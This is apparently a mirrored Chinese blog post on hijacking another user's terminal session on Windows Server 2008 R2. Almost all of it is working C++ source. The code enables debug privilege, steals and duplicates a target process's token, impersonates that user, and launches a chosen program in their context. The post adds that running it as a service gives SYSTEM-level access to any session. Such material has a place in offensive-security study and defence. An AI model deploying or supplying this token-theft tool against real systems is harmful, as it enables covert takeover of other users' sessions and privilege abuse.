zoukankan      html  css  js  c++  java
  • 终端SESSION 下的攻击

    使用场景:

        一台机器上有两个用户登录会话,想要查看并操作另一个会话但是又没有办法抓到管理员密码
       

    使用权限:

        adminitrator 或者system权限


    实验环境:

        1 : windows 2008 r2 
        2 : administrator 账户session id = 2
        3 : catcher账户session id = 1
        4 : 在catcher账户模拟session 2 操作administrator(这里catcher权限太低需要提权)

    实验效果:

      1:查询会话id以及对应会话运行程序

        

      2:在catcher账户中模拟administrator账户的seesion对adminstrator进行操作(这里catcher账户权限太低,所以做了个提权处理)

        

    总结:

        如果做成服务启动的话,administrator权限下就可以获得system权限token,可以对任意session进行模拟。

    源码:

    #include <iostream>
    #include <Cstring>
    #include <windows.h>
    #include <Wtsapi32.h>
    #include <iphlpapi.h>
    #include <WinBase.h>
    #include <Tchar.h>
    #include <Psapi.h>

    #pragma comment(lib, "Advapi32.lib")
    #pragma comment(lib, "Wtsapi32.lib")
    #pragma comment(lib,"Psapi.lib")

    using namespace std;

    bool GetSessionDomain(DWORD dwSessionId, char domain[256])
    {
        LPTSTR        pBuffer = NULL;
        DWORD        dwBufferLen;

        BOOL bRet = WTSQuerySessionInformation(
                                        WTS_CURRENT_SERVER_HANDLE,
                                        dwSessionId,
                                        WTSDomainName,
                                        &pBuffer,
                                        &dwBufferLen);
         if ( !bRet )
         {
            printf("WTSQuerySessionInformation Failed!/n");
            return false;
         }

         lstrcpy(domain,pBuffer);
         WTSFreeMemory(pBuffer);

         return true;
    }

    bool GetSessionUserName(DWORD dwSessionId, char username[256])
    {
        LPTSTR        pBuffer    = NULL;
        DWORD        dwBufferLen;
        
        BOOL        bRet = WTSQuerySessionInformation(
                                            WTS_CURRENT_SERVER_HANDLE,
                                            dwSessionId,
                                            WTSUserName,
                                            &pBuffer,
                                            &dwBufferLen);
        if ( !bRet )
        {
            printf("GetSessionUserName Failed!/n");
            return false;
        }

        lstrcpy(username ,pBuffer);
        WTSFreeMemory(pBuffer);

        return true;
    }

    /* 遍历所有session id 函数 */
    int EnmumSessionId()
    {
        WTS_SESSION_INFO    *sessionInfo = NULL;
        DWORD                sessionInfoCount;
        char                domain[256];
        char                username[256];
        unsigned int        userCount = 0;
        int                    num=0;
        
        BOOL bRet = WTSEnumerateSessions(
                                    WTS_CURRENT_SERVER_HANDLE,
                                    0,
                                    1,
                                    &sessionInfo,
                                    &sessionInfoCount);
        if ( !bRet )
        {
            return false;
        }
        
        for (int i = 0; i < sessionInfoCount;++i)
        {
             if( (sessionInfo[i].State == WTSActive) ||
                    (sessionInfo[i].State == WTSDisconnected) )
             {
                 printf("session %d information: ",num++);
                 printf(" sessionInfo.SessionId=%d ",sessionInfo[i].SessionId);
                 GetSessionDomain(sessionInfo[i].SessionId, domain); //获得Session Domain
                 printf(" Session Domain = %s ",domain);
                 GetSessionUserName(sessionInfo[i].SessionId,username);
                 printf(" Session username = %s ",username);
             }
        }

        // 获取当前sessionid
        DWORD dwSession = WTSGetActiveConsoleSessionId();
        printf("[*] Current Active SessionId = %d ",dwSession);

        // 释放内存
        WTSFreeMemory(sessionInfo);

        return 0;
    }

    /* 提升权限函数 */  
    BOOL EnableProcessPrivilege(LPCTSTR lpszPrivName, BOOL bEnable = TRUE)
    {
            HANDLE hToken;
            TOKEN_PRIVILEGES tkp;
            BOOL bRet = FALSE;

            bRet = OpenProcessToken(
                            GetCurrentProcess(),
                            TOKEN_ALL_ACCESS_P,
                            &hToken);

            if (bRet == FALSE)
            {
                    printf("OpenProcessToken error ");
            }

            bRet = LookupPrivilegeValue(
                                    NULL,
                                    lpszPrivName,
                                    &tkp.Privileges[0].Luid); //修改进程权限
            tkp.PrivilegeCount = 1;  
            tkp.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : SE_PRIVILEGE_REMOVED;

            bRet = AdjustTokenPrivileges(
                                    hToken,
                                    FALSE,
                                    &tkp,
                                    0,
                                    (PTOKEN_PRIVILEGES)NULL,
                                    0); //通知系统修改进程权限
            bRet = TRUE;

            CloseHandle(hToken);
            return bRet;
    }


    int main( int argc,char **argv )
    {
        HANDLE    hTokenDup = NULL;
        DWORD dwSessionId = 0;
        HANDLE    hToken = NULL;
        HANDLE hNewToken = NULL;    
        DWORD dwProcessId = atoi(argv[1]);

        /* 提升当前进程权限 */
        if ( !EnableProcessPrivilege(SE_DEBUG_NAME, TRUE) )   //SE_DEBUG_NAME
        {
            printf("[*]:EnableProcessPrivilege failed ");
            return false;
        }

        /* 通过pid打开进程 */
        HANDLE hProcess = OpenProcess(
                                PROCESS_QUERY_INFORMATION ,
                                FALSE,
                                dwProcessId); // 得到进程句柄
        if ( NULL == hProcess )
        {
            printf("[-]:OpenProcess GetLastError : %d ",GetLastError());
            CloseHandle(hProcess);
        }

        /* 获得进程令牌 */
        BOOL bRet = OpenProcessToken(
                                hProcess,
                                TOKEN_ALL_ACCESS,
                                &hToken); // 打开进程令牌
        if ( FALSE == bRet )
        {
            printf("[-]:OpenProcessToken GetLastError : %d ",GetLastError());
            CloseHandle(hToken);
            CloseHandle(hProcess);
        }

        /* 通过pid获取用户session id*/

        DWORD dwLength = 0;
        DWORD tsi = 0;

        if (!GetTokenInformation(
                            hToken,         // handle to the access token
                            TokenSessionId,    // get information about the TokenSessionId
                            &tsi,   // pointer to TokenSessionId buffer
                            0,              // size of buffer
                            &dwLength       // receives required buffer size
          ))
        {
            if (GetLastError() != ERROR_INSUFFICIENT_BUFFER)
            {
                return false;
            }
        }

        if (!GetTokenInformation(
                            hToken,         // handle to the access token
                            TokenSessionId,    // get information about the TokenSessionId
                            &tsi,   // pointer to TokenSessionId buffer
                            dwLength,       // size of buffer
                            &dwLength       // receives required buffer size
             ))
        {
          return false;
        }

        printf("[*]:Patch sessionId = %d ",tsi);
        printf("[*]:Patch processId = %d ",dwProcessId);
        printf("[*]:Enable Process Privilege successful ");
        
        /* 复制一个进程令牌,目的是为了修改session id属性,以便在其它session中创建进程 */
        BOOL bRes = DuplicateTokenEx(
                                hToken,
                                MAXIMUM_ALLOWED,
                                NULL,
                                SecurityIdentification,
                                TokenPrimary,
                                &hTokenDup);  
        if ( !bRes )
        {
            CloseHandle(hTokenDup);
            CloseHandle(hToken);
        }
            
        if (!ImpersonateLoggedOnUser(hTokenDup))
        {
            printf("[-]:ImpersonateLoggedOnUser GetLastError: %d ",GetLastError());
            CloseHandle(hTokenDup);
        }

        /* 把session id设置到备份的令牌中
        BOOL bsRet = SetTokenInformation(
                                    hTokenDup,
                                    TokenSessionId,
                                    &tsi,                //&dwSessionId,
                                    sizeof(DWORD));
        
        if ( !bsRet )
        {
            printf("[-]:SetTokenInformation GetLastError: %d ",GetLastError());
            CloseHandle(hTokenDup);
            CloseHandle(hToken);
        }
        */
        /* 创建进程*/
        STARTUPINFO   si = {0};
        PROCESS_INFORMATION   pi = {0};
        char path[MAX_PATH];
        lstrcpy(path,argv[2]);  //参数2

        ZeroMemory(&si, sizeof(STARTUPINFO));
        ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));

        BOOL status =  CreateProcessAsUser(
                                hTokenDup,            // client's access token
                                NULL,   // file to execute
                                (char *)path,     // command line
                                NULL,              // pointer to process SECURITY_ATTRIBUTES
                                NULL,              // pointer to thread SECURITY_ATTRIBUTES
                                FALSE,             // handles are not inheritable
                                NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT ,   // creation flags
                                NULL,              // pointer to new environment block
                                NULL,              // name of current directory
                                &si,               // pointer to STARTUPINFO structure
                                &pi                // receives information about new process
                                );
        if ( !status )
        {
            printf("[-]:CreateProcessAsUser GetLastError:%d ",GetLastError());
            RevertToSelf();
            CloseHandle(hTokenDup);
            CloseHandle(hToken);
            CloseHandle(pi.hProcess);
            CloseHandle(pi.hThread);
        }
        printf("[*]:CreateProcess successful ");
        RevertToSelf();
        CloseHandle(hTokenDup);
        CloseHandle(hToken);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);

        return 0;
    }
  • 相关阅读:
    高精度减法
    HDU 4460 Friend Chains
    POJ 2386 Lake Counting
    POJ 1852 Ants
    HDU 1240 Asteroids!
    SQL注入之Sqli-labs系列第三十六关(基于宽字符逃逸GET注入)和三十七关(基于宽字节逃逸的POST注入)
    SQL注入之Sqli-labs系列第三十四关(基于宽字符逃逸POST注入)和三十五关
    SQL注入之Sqli-labs系列第三十三关(基于宽字符逃逸注入)
    SQL注入之Sqli-labs系列第三十关(基于WAF防护的双引号报错注入)和三十一关
    墨者-uWSGI 漏洞复现(CVE-2018-7490)
  • 原文地址:https://www.cnblogs.com/persuit/p/5953151.html
Copyright © 2011-2022 走看看